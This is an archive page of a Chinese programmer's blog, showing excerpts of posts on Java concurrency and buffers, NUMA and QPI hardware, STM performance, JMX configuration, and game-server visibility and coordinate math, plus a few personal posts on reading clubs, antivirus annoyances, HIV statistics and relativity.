我在北京参加过很多读书会,发现一个问题,大家拿出来交流的书必定是人文社科类的、心理类的等等,或者最多是科普类的,你显然不能拿一本《算法导论》去跟人交流。久而久之就形成一个惯性,仿佛读书就是指读人文社科类的书以提高自己的人文素养。捐来的书当中,科技类的非常非常少,而且几乎全是科普读物。但是,拿高中生来说,绝大多数人最终还是选择了理科,所以对他们学习帮助更大的应该是物理、化学、生物、计算机方面的书。这就涉及到图书馆的定位,我们要做什么?我们要为学生做什么?(这是两个问题,因为志愿者所做的一切并非全是为了学生)课外拓展阅读?引发学生对学科的兴趣?开发新课程?我还没十分想好。改天再说。

ThreadLocalRandom的BUG浅析

Java中有一个用来生随机数的类,java.util.Random。用起来很简单,java.util.Random rand=new java.util.Random(); int v=rand.nextInt(); 众所周知,这样生出来的随机数是伪随机数,于是需要一个种子(seed),所以如果把这个对象在多线程共享,就会产生同步开销。 jdk 1.7引入了一个新类,ThreadLocalRandom。用起来更简单了,啥时候想用就用:int v=ThreadLocalRandom.current().nextInt(); 不过,悲剧来了,我测了一下,发现它每次产生的值都是一样的。这是JDK一个尚未修复的BUG。下面将详细讲述这个BUG如何产生的,希望对所有使用面向对象设计模式的人有所警示。 先从java.util.Random这个类说起,它有两个构造函数:publicRandom(long seed); publicRandom(); 如果你提供了seed,它就用你的seed,否则,它就随机生一个seed。所以,不带参数的版本,代码是这样的:publicRandom(){ this(seedUniquifier() ^ System.nanoTime()); } 带参数的版本,本来是这样实现的: (我推测)publicRandom(long seed){ setSeed(seed); } privatefinal AtomicLong seed=new AtomicLong (); synchronizedpublicvoidsetSeed(long seed){ this.seed.set(initialScramble(seed)); } 然后我们实现一个子类ThreadLocalRandom,继承自RandompublicclassThreadLocalRandomextendsRandom{ privatelong rnd; //用普通的long就可以了,不需要AtomicLong。 ThreadLocalRandom() { super(); } publicvoidsetSeed(long seed){ rnd = seed ; } } 你想,既然这个类的实例是ThreadLoc…

非一致性内存访问模型与内存分配器

CPU主频涨不上去了,一直停留在2-3G。前端总线的时钟频率也涨不上去了,我现在用的这个小黑,Intel Core2 P8600,前端总线的时钟频率只有266MHz。于是,虽然内存越来越便宜了,但是没有那么大的高速带宽来连接CPU和内存啊。于是NUMA出现了。CPU组成node,每个node各自管理几十G内存,然后node和node之间通过Point-to-Point的方式建立高速直连。于是系统总线就没了,出现一个新名词,QPI,指那个快速访问通道,它不光连接内存和CPU,还连接其它外设如显卡。但是有个重要的结果是:CPU到每根内存条的"距离"是不相等的。有的是直连,所以速度很快,而有的需要绕到另一个node去拿,这样不仅速度慢,而且很容易把node之间的那个互连通道堵死。想想看,如果你工作在天津,但是偏偏要住在北京,每天上班下班是不是很痛苦?为什么呢?为什么会这样?为什么我想访问的这个内存不在我身边?那它在哪?从C语言的malloc说起。首先强调一点,malloc分配的是"地址空间",而不是内存!同理,free释放的也只是地址空间,而不是内存。当你访问某个内存地址,而这个地址没有映射到任何物理页的时候,就会发生缺页中断,然后此时,操作系统才分配内存。简单点说,"内存的分配发生在第一次访问的时候!"。总的来说,内存分配器此时有三种策略:糊里糊涂。什么都不知道,随便分。就近,找离当前CPU最近的node分配。round-robin。把你要的东西尽可能的平均分到每个node上。我不清楚你用的C Runtime到底是哪一种实现,反正以上三种都有可能。喜欢C的人大多都是追求高效,那么自然喜欢第二种咯?于是就有人提出,服务器的启动过程应该做成并行化的,比如IO的buffer就让IO线程去初始化,各自做各自的。这样听起来很有道理,但是!亲爱的,如果这个线程被调度到另一个CPU上怎么办?所以我们不光得控制内存怎么分配的,还得控制线程调度策略,把这个线程绑在固定的CPU组上。更复杂的是,执行任务的是一个线程池怎么办?请问,我是在写Application,还是Operating System? 无论如何,"谁要用谁分配"依然是一个有效的优化策略。那么说Java吧,它比较清晰。Java有4种垃圾回收策略 …

关于java.nio.ByteBuffer的一些杂七杂八。

任何网络程序框架都会面临一个问题:如何提供一个高效的buffer?比如我们想写一个http server,那么就需要不断的从文件中读入数据,然后写入到socket中,如: byte[] buf=newbyte[4096]; while(file.read(buf)){ mysocket.write(buf); } java.nio中引入了一个重要的类:ByteBuffer,来做这件事情。(我的直觉是它应该和ACE的MessageBlock作用很像,但是后来发现接口迥异。)
ByteBuffer是一个抽象类,它有两种实现:HeapByteBuffer 和 DirectByteBuffer。java.nio.ByteBuffer.allocate(int)返回的是HeapByteBuffer,java.nio.ByteBuffer.allocateDirect(int)返回的是DirectByteBuffer。
HeapByteBuffer分配在jvm的堆(如新生代)上,和其它对象一样,由gc来扫描、回收。DirectByteBuffer则是通过底层的JNI向C Runtime Time通过malloc分配,在JVM的GC所管理的堆之外。下面讨论HeapByteBuffer。
每个HeapByteBuffer内部有一个byte[]存储数据。这个byte[]在构造HeapByteBuffer的时候分配好,长度不会自动增长。HeapByteBuffer内部有四个指针(offset):
capacity:内部这个byte数组的大小(byte[]的length)。
mark:相当于书签,初始值为-1。需要设置的时候mark()一下,需要跳回去的时候用reset()方法。
position:指向下一个读取/写入位置。初始值为0,读/写 数据的时候自动往后挪这个指针。
limit:初始值等于 capacity。
它们始终满足这样的关系:mark <= position <= limit <= capacity。这4个指针经常把我绕的晕乎乎的。flip操作:用在读写操作转换的时候。limit = position; position = 0; mark = -1; //清理掉书签示例用法:buf.put(magic); // 先往buffer里面写入一个包头(pack…

三段序列化代码的测试:比较protocol buffers的CodedOutputStream和java自带的DataOutputStream

最近一段时间在写一个小东西,一个很简单k-v数据库。我并没有像MyISAM那样把每个表放在一个单独的文件中,而是用一个总的大文件来放所有的表。(类似于InnoDB默认的方式)。我需要在这个硕大无比的文件的开头放一个map,key是表名,value是这个表的第一个页在此文件中的偏移地址。即这样一个结构:Map < String, Long > headers。那么我就需要为这个Map写一个序列化方法,把它从Object转化成byte[]。写完第一个实现,并用junit测试完正确性之后,我准备再写2个实现,测试下性能。三种实现的思路分别是:
1、用google protocol buffers的CodedOutputStream,手写序列化。先计算序列化之后需要多大空间,然后new出这个byte[],然后往里填。这是protoc生成的代码所采用的方式。
2、先new一个ByteArrayOutputStream,然后用它构造一个DataOutputStream,然后往里写,最后用ByteArrayOutputStream的toByteArray返回。其中字符串以UTF8的方式写入。
3、先new一个ByteArrayOutputStream,然后用它构造一个CodedOutputStream,手写序列化,最后用ByteArrayOutputStream的toByteArray返回。ByteArrayOutputStream的默认buffer大小是32字节,如果DataOutputStream/CodedOutputStream往里面写的时候遇到它满了,就需要对现有的内存做一次copy来grow一下。这就是为什么我首先写的是方案一。但是方案一的缺点是,它需要把这个Map遍历2次。测试环境:Core i3-2100,8GB内存,sun jdk 7。google protocol buffers的版本是2.4.1。
测试方式:首先往这个hashmap里面添1000条记录,key是长度为10的随机字符串,value是64位随机整数(0x0-0x7fffffffffffffffL之间均匀随机)。先warm up一下,然后执行1000次序列化方法。
测试结果:
方案1执行1000次花费时间=170ms-180ms左右。
方案2执行1000次花费时间=75ms-95ms左右。
方案3…

关于QPI的一些数据

Intel从2008年,core i7,开始引入QPI,QuickPath Interconnect。core i7采用的是Nehalem架构(第一款?),QPI的主要作用是取代原有的前端总线,QPI的时钟频率主要有两种标准:2.4GHz或3.2GHz。每个时钟频率内可以传输两次,所以Intel手册中所说的bit rates是指每秒能传输多少次,单位GT(G Transfters per second),如前面两种分别对应着4.8GT和6.4GT。前端总线QPI拓扑BUSLink信号技术GTL+differential signalingRx Data Samplingsource synchronous data samplingforwarded clock总线宽度(位)6420最大数据传输宽度6416双向总线NoYes物理层的传输单位是Phit,一个Phit是20位或者10位或者5位。链路层的传输单位是Flit(flow control unit),每个Flit是80位。每80位里面应当包含8位的CRC,这就是为什么一个Phit即便装满了20位,但实际上也只有2个字节。传统的前端总线的带宽很好计算。比如我的电脑是Intel Core2 P8600,前端总线的时钟频率是266MHz,倍频是9,所以CPU主频是2.4G,前端总线速度是266*4=1066MHz,而总线宽度是64位,那么总线带宽就是1066Mhz*8Byte=8.5GB/s。Intel号称它的QPI带宽可达到25.6GB/s。但是这个数据是怎么计算出来的呢?维基百科上给出的答案是:3.2 GHz
乘以 2 bits/Hz (double data rate)
乘以 20 (QPI link width)
乘以 (64/80) (data bits/flit bits)
乘以 2 (unidirectional send and receive operating simultaneously)
除以 8 (bits/byte)
= 25.6 GB/s
但是我觉得这个并不对。实际上计算方式是:假设时钟频率是3.2GHz,那么bit rates就是6.4GT,由于物理层每秒能传输20位,但是实际上是2个字节,所以12.8GB/s,但是又因为是双向传输,所以double一下,就是25.6GB/s。假设CPU的每个ca…

把site搬回国内

最近因为一些普遍的原因,在godaddy注册的很多域名无法正常解析(非.cn的),于是我只好把nameserver从godaddy搬到dnspod。顺便,思索再三,觉得SAE是个好东西不用太可惜,于是就把blog也搬到了sina app engine。访问速度差别还是很明显的。在北京ping SAE的前端机,延迟在9-40ms左右。而linode在日本的机房的ping值在100ms左右,我的prgmr.com的ping值则是在250-400ms左右。比较遗憾的是域名绑不上,虽然我已经做了CNAME。于是就只好改以前的代码,把网址做302转发过来。SAE还有一个特别吸引我的地方呢,就是服务很好。嘿嘿。因为很多都是以前的同事,msn上喊一声就行了。我觉得SAE现在的访问统计功能太简单,做丰富点,像google analytics那样,把访问来源、时段、搜索关键字、agent、排除robot这些都做了。现在的统计信息除了能看一下pv,什么都看不到。或者至少,做到awstats那样吧。反正每个网站主肯定都很关心访问统计的,尤其是这个做的越智能越好。最近真是巨星接连陨落啊。哀悼一下。Steve Jobs 1955-2011Dennis Ritchie 1941-2011Robert Galvin 1922-2011

诺顿真没法用……我自己从源代码编译的mysql也杀

图片
昨天把MSE卸掉,装了诺顿NIS 2012。然后悲剧就开始了。首先,当我准备用SUN JDK的visualvm给我的程序做性能测试的时候,诺顿果断的认为这是木马,干掉了。接着,我做了下全盘扫描。诺顿默默的帮我删除了:我自己从源代码编译的mysql。理由是根据它的云平台,极少人信任并使用了这个文件。qt的demo的fftreal.dll。理由同上ida的数个dll星际争霸的blood.exegamemaster 9的主程序当然,这些还没完。最后他想删掉我的邮件客户端的Thunderbird的Inbox文件,但是考虑到这个文件太大,于是问了我一下。嗯,以前它也总是这样,隔一阵弹一次,“是否删除?确定取消” 直到某一次,我不小心点了确定。它就直接删了,也不做备份,因为太大。2012版的比以前的好处就是,它终于能告诉我为什么删这个文件,它给出了可能含有病毒的附件名。但是Thunderbird没有搜索附件名这个功能,我搜正文搜不到这些文件。最终,我只能手动的一个个找。我觉得很徒劳,因为它藏那么深,又不能主动发作,我找它干嘛?

MSM人群HIV携带率统计

我从互联网上搜集了一些关于AIDS的数据。首先,我们一定要非常重视AIDS这个问题。2010年,全国甲乙类传染病(共28种)共报告死亡14289人,其中AIDS病7743人,占了一半多。第二位是肺结核,3000人。第三位是狂犬病,2014人。搜集的过程中发现在Gay当中感染率非常高。下文的统计数据中将不会提到Gay,而是一个专门的名词,MSM。MSM:是men who have sex with men的缩写,包括gay、bisexual等等。根据美国Centers for Disease Control and Prevention的统计数据显示,MSM估计约占了美国总人口的2%,MSM的HIV感染率接近1/5。"A recent CDC study found that in 2008 one in five (19%) MSM in 21 major US cities were infected with HIV, and nearly half (44%) were unaware of their infection."在中国,想要获得类似的数据不大容易,因为我国CDC很显然不会对流行病的发病情况做种族、肤色、性取向这样的划分并公布出来。我们强调团结嘛。但是网上依稀的能找到一些零散的公开数据:全国:MSM人群艾滋病诊断阳性率从2005年的0.4%上升到2008年的4.9%。郝阳说,最近几个重点城市在男男性行为人群中开展的一些典型调查发现,艾滋病诊断阳性率最高的达到了15%。(2008年) http://www.chinaids.org.cn/n16/n1193/n4073/118347.html6城市MSM人群综合统计:2009-2010年,沈阳、济南、上海、南京、重庆、长沙、昆明中的六个,统计人数2500人,HIV阳性率5.2%,梅毒10.0%。http://www.docin.com/p-62580381.html北京东城区:2006年,MSM人群HIV阳性率6.5%。http://www.chain.net.cn/document/20080805171749598318.pdf四川:2007年,MSM人群HIV阳性率10.6% http://www.chain.net.cn/document/2008080517174959…

测试FatVariableLengthGammaTransaction的性能

图片
分配一个比较大的二维数组,然后在一个transaction中遍历这个二维数组,测试当单个transaction读写很多对象的时候的性能瓶颈。测试代码如下:
static AtomicBlock block = GlobalStmInstance.getGlobalStmInstance().newTransactionFactoryBuilder().setIsolationLevel(IsolationLevel.Serializable).setSpeculative(false).newAtomicBlock();
static final IntRef[][] grids = new IntRef[2500][2500];
public static void loop() { block.execute(new AtomicVoidClosure() { publicvoidexecute(Transaction tx)throws Exception { for (int i = 0; i != 2500; ++i) { for (int j = 0; j != 2500; ++j) { grids[i][j].set(tx, 1); } } } }); }public static void main(String[] args) {
System.out.println("begin");for (int i = 0; i != 2500; ++i) { for (int j = 0; j != 2500; ++j) { grids[i][j] = StmUtils.newIntRef(); } } for(intcount=0;count!=10;count++) loop(); System.out.println("end"); }测试结果:第一个方法,GammaObjectPool,是为了防止老是new对象,所以把废弃不用的对象组成了一个Object Pool。第二个,就是openForRead的时候需要频繁在hash表中查。…

内存事务如何选择加锁协议,乐观好还是悲观好?

最近我用 Multiverse STM做了一点东西。在开始动手之前,我专门测了multiverse的性能,发现它可以达到每秒2000多万次事务(每个CPU),于是我觉得它所带来的overhead应该是极小的,于是就放心大胆的用了。可是后来用profile工具看,我的程序始终是在openForRead这样的函数上占据了绝大部分时间。为什么? 这就涉及了multiverse STM是如何实现事务的。Multiverse的核心是Ref这个类。这个这个类,把普通的对象引用,转换成一个事务引用。例如Ref<Integer> i=StmUtils.newRef(Integer.valueOf(10)); 通过这种方式,可以给原有的Object加一些metaInfo,比如version。数据库最初的validate based algorithm,是这样,读的时候直接从全局数据里读(并且是同一个版本),写的时候写到事务本地的buffer里,提交的时候重新验证所有读过的信息是否在这个事务执行的过程中被更新了。TL2算法就属于此类。TL2算法在读一个全局数据的时候根本不用加锁,只需要一个tryLock。下次读的时候,先检查本地的read set。那么,比较一下,如果采用悲观锁呢(例如我以前在完美用的xdb)?读一个变量的时候,首先要加这个锁,拿不到就等着。逻辑很简单。从这点上来说,TL2这种乐观并发控制,相比于XDB那种老土的悲观并发模式,并不能提高性能。为什么?在首次载入一个变量的时候,乐观的(TL2)用tryLock,悲观的用lock,但是在没有冲突的时候,这两个的消耗是一样的啊!都是一个CAS。在NUMA系统上,都会逼迫CPU扔掉cache,强制刷store buffer。事务下次再读这个变量的时候,略有区别。multiverse需要在本地的readset里面先查一遍,如果查到就用,就不必tryLock了。对mutilverse而言,如果一个事务所用到的变量的个数是不一定的(大多数情况都是如此),它会用一个Hash Table来管理这些变量。于是每次openForRead都会需要做一次hash查找。这个hash table采用的是闭散列,在冲突发生的上下位置找一个空的。do { finalint offset = goLeft ? -jump : jump;…

我们哪里错了?

这不是一篇科普,这只是一篇对于从经典力学到狭义相对论的回顾。爱因斯坦是一个伟大的人,他的伟大不是因为他在实验室里通过做物理实验发现了什么牛B的现象,他的一切实验都是思想实验,他单单凭借大脑的空想,就建立了狭义相对论。现在我们来重新回顾这一历程,看看他哪里错了。先从牛顿说起。回想一下牛顿第一定律,中学物理老师整天特爱念叨这个,“任何不受力的物体都保持静止或匀速直线运动状态”。一个物体是静止还是运动的,取决我们站在哪看。比如你站在火车上看火车,火车就是静止的。你站在地面上看火车,它就是运动的。无论如何,只要它满足牛顿第一定律,就说我站的这个点(参考物),是惯性系。现在换个问题,如果我们站在火车里面,拉上窗帘,屏蔽所有声音和火车以外的信号。你能否知道火车现在是在走,还是到站停下来了呢?你扔个苹果笔直的扔上去,发现它还是笔直的落下来。你倒杯水,发现水流并不会倾斜。你不知道,你根本没办法知道。这个就是所谓的“力学相对性原理”。在惯性系内所做的任何物理实验,都无法告诉你,这个惯性系是静止的还是在做匀速直线运动。想知道,只有打开窗子看看外面。马哲老师一直在说:“运动是绝对的,静止是相对的。”可惜19世纪的物理学家们,缺乏这个常识,他们并非一生下来就得接受马克思主义教育。某天,他们发现了一个奇怪的现象,光波在真空中也能传输。亲爱的,你知道什么是波吗?你扔个石头到水里,水因为上下震荡所以才能产生水波。没有水,能有水波吗?没有空气,能有声波吗?没有人类,会有文艺复兴吗?不行,绝对不行。光波必须也得有个载体。为此,我们认为,真空的玻璃罩里也有东西,只是这种东西超出了我们现在的感知能力。这种东西必须是无处不在的,所以你在地球上的任何地方,制造一个真空,发现光线依然能在里面传输。这个不生不灭,没有质量,无处不在的东西,我们称为以太。这是一个完全空想出来的东西。好了,既然它弥漫了宇宙的每一个角落,我们可以认为它是静止的。于是我们可以把它当作坐标系,认为我们都是在相对于它运动。那么既然以太是静止的,光波是以太形成的波,那么光波在真空中的传输速度,必然是恒定的。这个速度是指光波针对以太来说。可是完了,地球是运动的啊?想这么一个实验:有一个正方形的房子,房子中央有一盏灯。我们现在打开灯,那么光线就会照亮四面墙。毫无疑问,光线肯定是相同的速度同时达到这四面墙。哦,可是不,这是在我看来。事实上,这个房…

JMX Server Behind Firewall

本来JMX用起来很简单mBeanServer = ManagementFactory.getPlatformMBeanServer(); Object obj=new MyMbean(); mBeanServer.registerMBean(obj, new ObjectName("com.tianshen:type=xiyou,name="+obj.getClass().getCanonicalName())); 但是JMX在远程使用的时候经常不大好使。JMX remote最基本的用法是,在启动的时候加上-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.authenticate=true
-Dcom.sun.management.jmxremote.password.file=jmxpass
-Dcom.sun.management.jmxremote.port=13000
-Dcom.sun.management.jmxremote.ssl=false下面解释下com.sun.management.jmxremote.port这个东西。默认情况下,JMX协议是架构在RMI协议的基础上。那么RMI就需要一个位置定位服务,即rmiregistry 。rmiregistry 是一个类似于CORBA命令服务或者LDAP的东西。rmiregistry可以是一个单独的进程,带上端口号执行JDK/bin/rmiregistry即可。也可以是嵌入在当前的java进程中。而com.sun.management.jmxremote.port这个参数就是指,rmiregistry这个服务在哪个端口监听。然后,JMX Server会向这个rmiregistry注册自己。注册的时候需要提供一个主机地址和一个端口号。而这个端口号,默认是随机生成的。这个主机地址,常常很悲剧的是127.0.0.1或localhost。由于端口号是随机生的,这让系统管理员很为难。而且,如果那个主机地址是localhost……其实几年前在做mz项目的时候就遇到这个问题了,只不过今天又遇到了,拿出来分享下。MBeanServer的初始化代码得改成这样:finalint port1=14000; //the port number…

游戏中你能看见我不代表我能看见你

假设这是一款普通的2D游戏。屏幕被划成9个格子,一般来说人站在最中间那个格子。它能看见自己周围一圈这8个格子里的东西。上左我在这里右下如果如下两个假设成立,角色一定站在屏幕正中间。必须是正中心,丝毫不差。每个角色的视野的宽和高都是一样的(而不是像WOW那样可以让玩家自己调整)。那么,如果A能看见B,则B一定能看见A。所以,当一个角色上线的时候,只需要告诉它视野内的人即可。同理,这个角色的所有状态改变,如移动啊、下线啊、进入离开视野啊,也只需要按照它的视野来算。在我移动中,凡是有角色进入我的视野,我就应该告诉它,嘿,哥们,我出现了,我的横坐标是xxx,纵坐标是yyy,我在往哪哪哪走。视野广播,从来都不是为了发给我能看见的那些人,而是为了发给能看见我的人!其实很难保证这个人就是在正中心,因为如果人的位置是按像素坐标存的,那么他的视野未必恰好就是跨越整格子数。要么不是让人站正中心,而是让人所在的格子在正中心。要么就得把一些视野外的人也算进来。可是,可是!角色并非总是站在屏幕中间。当角色走到地图边缘附近的时候,有两种做法让角色依然站在屏幕中央。让超出地图边界的部分显示成黑色让地图边界与屏幕边界对齐。如果是后一种做法,请看下图:(0,0) 角色A(1,0)(2,0)(3,0)(0,1)(1,1)(2,1)(3,1)(0,2)(1,2)(2,2)角色B的终点(3,2)(0,3)(1,3)(2,3)(3,3)角色B的起点假设角色A站在地图的左上角,(0,0)位置。而另一个角色B从(3,3)往(2,2)走。那么当它走到(2,2)停下来的时候,它看不到A,所以不会告诉A说我进入你视野啦!所以A就看不见B。但实际上B却站在A的视野内。这会造成一种不可接受的现象:两个人约了在仓库门口交易,一个人(A)先到了,站在旁边的武器店挑选武器。另一个人接着(B)也到了。玩家B说: 我到了。邀请我交易。
玩家A说: 我也到了。你站哪的?
玩家B说: 我就站在仓库门口啊!有棵树这
玩家A说: 不对啊,仓库门口明明没有人啊!……把这个问题抽象出来,就是平面上有很多大小相等的矩形,给定一个点,问这个点在哪些矩形内?一般化一点,可能有的矩形大,比如人物视野,有些矩形小,比如npc的主动攻击范围。解决这个问题,最笨的办法就是把地图上所有的对象都去问一遍,嘿,我在你的视野范围内不?但是,假如地图上有1000人,就因…

坐标转换带来的阻碍判断出错

今天调试程序,发现人经常走到不可走的区域去了。我用的从直角到斜角的转换公式是:\( x’=x/2+y \)
\( y’=y-x/2+400 \)格子的边长30
起点斜角坐标(2370,13020),除以30得到(79,434)
终点斜角坐标(2370,13080),除以30得到(79,436)起点直角坐标(1350,1695)
终点直角坐标(1290,1725)
这两点在直角坐标下的距离是67.08203932499369
沿着这条线走2.24个像素。
于是得到直角坐标
1347.9964830921601
1696.0017584539198
取整得到
1347 1696
换算成斜角是
2369 13023
再除以格子的边长30,得到
78 434完蛋了。刚才是在x=79这条线上移动,但是现在跑到x=78这条线上去了。走到不可走的点,其实,也是正常的。区别在于寻路时候的依据。假如我现在站在中央格子,要向右上方走。障碍图如下(可走)(可走)(可走)(可走)(可走)(不可走)终点(可走)(可走)(可走)起点(可走)(可走)(可走)(可走)(可走)(可走)(可走)那么是否允许直接斜着走过去?还是必须先往右走再上去?如果按照前者来,那么就出现走到不可走点的情况。因为它可以先往某一个目的点走一点,使得它尽管依然在起点的格子内,但是不是在格子正中间,然后往斜上走。在走了几毫秒之后停下来。而在完美的时候,lch用的是很严格的判断必须正上和正右方的格子都可走,才允许往斜上走。

ID生成器

背景:网络游戏经常需要合服,所以角色ID最好不要重复,这样会降低合服的难度。另外,如果能做到物品id、角色id、npcid这些都不重复,那么更好。于是有人说,那你用UUID吧。但是,如果能根据这个id就能知道它到底是宠物还是角色还是物品,那么更好。注意:A、B合服后,要用A或者B的serverid。另一个废弃,新开服也不能用废弃的ID。(自以为这个比xdb的那套方法好。因为没有多余的表来存这个ID)/** * ID生成器。 <br /> * TODO: 把type用Integer.reverse这样的方式颠倒之后再存进去。那么当扩展typebits的时候,现在的数据依然可用。 * * @author cm * */publicclassIDGenerator{ privatevolatile AtomicLong[] nextValue; staticfinalint typebits = 3; staticfinalint serverbits = 12; staticfinalint valuebits = Long.SIZE - 1 - typebits - serverbits; privatestaticvolatile IDGenerator instance; privatevolatileint serverid = 0; publicvoidsetServerid(int serverid){ this.serverid = serverid; } publicstatic IDGenerator getInstance(){ if (instance == null) { synchronized (IDGenerator.class) { if (instance == null) instance = new IDGenerator(); } } return instance; } publicstaticinterfaceIType…

老老实实学数据结构与算法

最近2周,看了很多关于数据结构与算法的东西,老老实实写代码,不在weibo上和他们吐口水谈什么架构了。简述一下最近用到的东西。首先是一些基本的平面几何算法,比如某个平面区域内有很多点,然后在这个区域内画一个矩形,求这个矩形内有哪些点。然后发现做服务器端开发也是需要学图形学的,图形学的结果未必非要用在屏幕显示上。比如,假如服务器是按格子存储障碍点信息,那么给定两点,问这两点能否相互可见(直线可达),其实就是图形学最基本的划线算法。另外A*其实也蛮有意思。虽然算法本身看起来很简单,但是实现技巧很多。传说lch为了写这个算法并反复优化,写了至少有3个月。其中一个常见技巧就是不要用Set来存OpenList,而是用Heap。但是其实用Heap的时候也有细节上的不同,比如某个元素的值如果改变了,那么是remove并add呢,还是从它到根做一次调整呢,还是干脆不删除旧值,直接插入一个新的进去。第一种和第三种,不需要改现有的接口,用java.util下的优先队列就可以了,但是第二种需要自己重新写一下这个数据结构。multiverse 0.7中的collections基本处于不可用的状态,让我很郁闷很愤怒。所以接下来我和Peter会将之完善,并重写很多数据结构。解决问题最简单的方法就是蛮搜,所有可能性都试一遍,稍微聪明的程序员会考虑采用更较为合适的算法。但是,这个时候会发现选择往往不只有一个,而且最佳选择往往是依赖于数据集的规模,而不同算法在不同数据规模下的效率,这个知识的积累过程可比学懂并实现一个算法慢很多了也难多了,需要长期的经验和形式化分析的能力。更倒霉的是,需求的提出方往往估计不了市场的反应。AOI这个问题,我在想怎么更好。先想最基本的问题,对象移动以及视野广播。假如,每个角色的视野距离可以是不一样的,比如魔兽世界里面那样。那么我能看见你不代表你就能看见我。于是,当我的位置发生移动的时候,不能按照我的视野范围来做广播,而是看我到底是在哪些人的视野范围内。那么可以采用观察者模式,当对象移动位置的时候不断的register/unregister被观察者。这样才能保证被观察者突然下线或者发生某种行为的时候能及时被该看见的人都看见。但是我又在想,如果人很少,与其这样,还不如遍历整张地图所有角色来的快呢。用堆做A*的OpenList的时候,让我想到一个问题,就是,大多数搜索结构,可…

服务器端的游戏场景管理

最近在想怎么在服务器端组织游戏场景。服务器客户端地图位置同步的2种方式:1。服务器只存对象的当前位置。Client发来的消息分为两种:开始移动和定期同步。开始移动:目的点。定期同步:当前点和刚经过的关键点。服务器验证后把这个信息再广播给视野内的Client。role的位置改变是由客户端来触发的。视野内其它玩家的路径信息,可能是服务器转发的,也可能是客户端自己寻的。2。服务器保存对象的当前位置和行走路径。Client向服务器发它要走的路径。服务器把这部分信息merge到现在的行走路径中。然后定期根据路径刷新,并广播。我觉得2比1好,没有必要让客户端多发那个包。今天看到一个很不错文档,http://theory.stanford.edu/~amitp/GameProgramming/,让我大开眼界。一个很基本的问题,地图的阻挡信息如何表示?最简单的做法是地图画格子,每个格子要么是0,要么是1,代表可走与不可走,然后在格子上做A* 。另一种方式是,在上述的基础上,把阻挡以多边形的方式存储,那么寻出的路径的折点恰好就是多边形的顶点,但是貌似没见谁这么用,而且游戏里如果玩家真这么走,太别扭了。还有就是导航网格。UE3的文档中对这个有很详细的介绍:http://udn.epicgames.com/Three/NavigationMeshReference.html算AOE以及做视野内广播的时候也是,如果不是把对象划到格子里,按格子做广播,那么采用某个查找树比如红黑树就很不错。查找树因为是有序的方式组织数据,所以天然的支持范围查找,分别对x,y做两次范围查找就可以得到想要的结果,例如TreeMap\>>。最后一个Set是这个格子里的roleid列表。

斜投影(二):神马叫线性变换?

10点多刚下班,下班的路上我才发现我真是被他们给绕晕了。我原始的需求很简单,给定一个点(斜投影下的格子坐标),求它的视野(也要格子坐标)。这个人站在屏幕的正中心,但是屏幕的大小是平面直角坐标系的值啊,单位是像素。怎么办?我同事给我的算法是上文所写的,先把自己换成直角坐标,然后计算出屏幕边框的直角坐标值,然后换回去。其实呢,一眼就可以看出这是一个线性变换,因为它的变换规则可以用矩阵表示出来啊。那么,假设这个人的平面直角坐标是X,屏幕上某一点的坐标是X+b。那么根据线性变换,就有A(X+b)=AX+Ab。换句话说,直接算出Ab就行了啊!比如,屏幕的宽高分别是w、h,坐标原点在屏幕中心,那么屏幕右下角的坐标就是\( \left(
\begin{array}{ccc}
\frac{w}{2} \\
\frac{h}{2} \\
\end{array}
\right) \),因为\( A=\left(
\begin{array}{ccc}
\frac{1}{2} & 1 \\
-\frac{1}{2} & 1 \\
\end{array}
\right) \),所以\(Ab = (\frac{w}{4}+\frac{h}{2},-\frac{w}{4}+\frac{h}{2}) \),把人物的当前的格子坐标加上这个值就得了呗。就这么简单,我今天居然还拿笔从7点算到10点还算错了,然后写了一篇日志洋洋得意的以为自己终于把问题解决了。结论就是:工作就像开车,如果需要动脑子,千万不要疲劳驾驶。

斜投影

我这两天在研究diablo那样的投影方式。菱形的2个角一般是30度、120度。但是由于tan(30度)=sqrt(3)/3 约等于0.58,是一个无理数不利于计算,所以一般采用tan(x)=0.5的角,也就是26.5度。因为减少了误差,所以画出来没那么强的锯齿感。下面称新的坐标系为斜角坐标系。那么从直角坐标系到斜角坐标系是一个线性变换。根据前面的假设,设斜角坐标系的x轴和y轴在直角坐标系中分别是:y=x/2,y=-x/2;那么可推得从斜角坐标系到直角坐标系的变换矩阵为:$$$$ \begin{align} \left( \begin{array}{ccc} 1 & -1 \\
\frac{1}{2} & \frac{1}{2} \\ \end{array} \right) \end{align}$$$$ 求逆可得,从直角坐标系到斜角坐标系变换矩阵为:$$$$ \begin{align}
\left(
\begin{array}{ccc}
\frac{1}{2} & 1 \\ -\frac{1}{2} & 1 \\ \end{array} \right)
\end{align}$$$$假设地图采用菱形的格子,格子的边长在直角坐标系为m。屏幕的正中心恰好是某个菱形的正中心。假如一个玩家站在屏幕正中心,它在斜角坐标系下的格子坐标是(x,y)。那么它在平面坐标系下的值是(x-y)m,(x+y)m/2,那么屏幕正中心的值就是(x-y)m,(x+y)m/2+m/2。如果点P相对于屏幕中心的直角坐标是(a,b),那么它的坐标就是\( ( (x-y)m+a,\frac{(x+y)m}{2}+\frac{m}{2} +b )\),那么换算回去就是\( (mx+\frac{a+m}{2}+b,my-\frac{a-m}{2}+b) \),除以m换算回去是\( (x+ \frac{1}{2}+\frac{a+2b}{2m},y-\frac{1}{2}+\frac{2b-a}{2m}) \) 。用这个公式就可以算出屏幕4个角的格子值。不过我一直在怀疑是否应该补那半个格子。如果去掉那些二分之一,结果简单的很多。由直角坐标系到斜角坐标系变换矩阵可以推出,与x轴平行的线(比如屏幕上边线),转换成斜角坐标系后,都具有x+y=m这样…

mina & protocol buffers

